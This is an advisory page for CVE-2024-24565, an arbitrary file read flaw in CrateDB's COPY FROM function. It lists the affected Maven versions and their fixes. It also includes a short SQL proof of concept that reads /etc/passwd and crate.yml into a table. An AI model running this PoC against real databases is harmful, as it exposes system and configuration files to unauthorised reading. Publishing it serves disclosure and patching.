NewApp Monitoring is liveSign up free
AgentbeamBeta
Open-source package vulnerability · Maven

CVE-2024-24565: CrateDB database has an arbitrary file read vulnerability

mediumCVSS 3.1 5.7GHSA-475g-vj6c-xf96

Summary There is an arbitrary file read vulnerability in the CrateDB database, and authenticated CrateDB database users can read any file on the system. Details There is a COPY FROM function in the CrateDB database that is used to import file data into database tables.

Published Jan 30, 2024

Affected packages

io.crate:crate

Ecosystem
Maven
Affected
< 5.3.9
Fixed in
5.3.9
Check
mvn dependency:tree -Dincludes=io.crate:crate

io.crate:crate

Ecosystem
Maven
Affected
>= 5.4.0, < 5.4.8
Fixed in
5.4.8
Check
mvn dependency:tree -Dincludes=io.crate:crate

io.crate:crate

Ecosystem
Maven
Affected
>= 5.5.0, < 5.5.4
Fixed in
5.5.4
Check
mvn dependency:tree -Dincludes=io.crate:crate

io.crate:crate

Ecosystem
Maven
Affected
= 5.6.0
Fixed in
5.6.1
Check
mvn dependency:tree -Dincludes=io.crate:crate

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Summary

There is an arbitrary file read vulnerability in the CrateDB database, and authenticated CrateDB database users can read any file on the system.

Details

There is a COPY FROM function in the CrateDB database that is used to import file data into database tables. This function has a flaw, and authenticated attackers can use the COPY FROM function to import arbitrary file content into database tables, resulting in information leakage.

PoC

CREATE TABLE info_leak(info_leak STRING);
COPY info_leak FROM '/etc/passwd' with (format='csv', header=false); or COPY info_leak FROM '/crate/config/crate.yml' with (format='csv', header=false);
SELECT * FROM info_leak;

image

Impact

This vulnerability affects all current versions of the CrateDB database. Attackers who exploit this vulnerability to obtain sensitive information may carry out further attacks, while also affecting CrateDB Cloud Clusters. image

Credited to Tu0Laj1.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

More Maven vulnerabilities

All Maven entries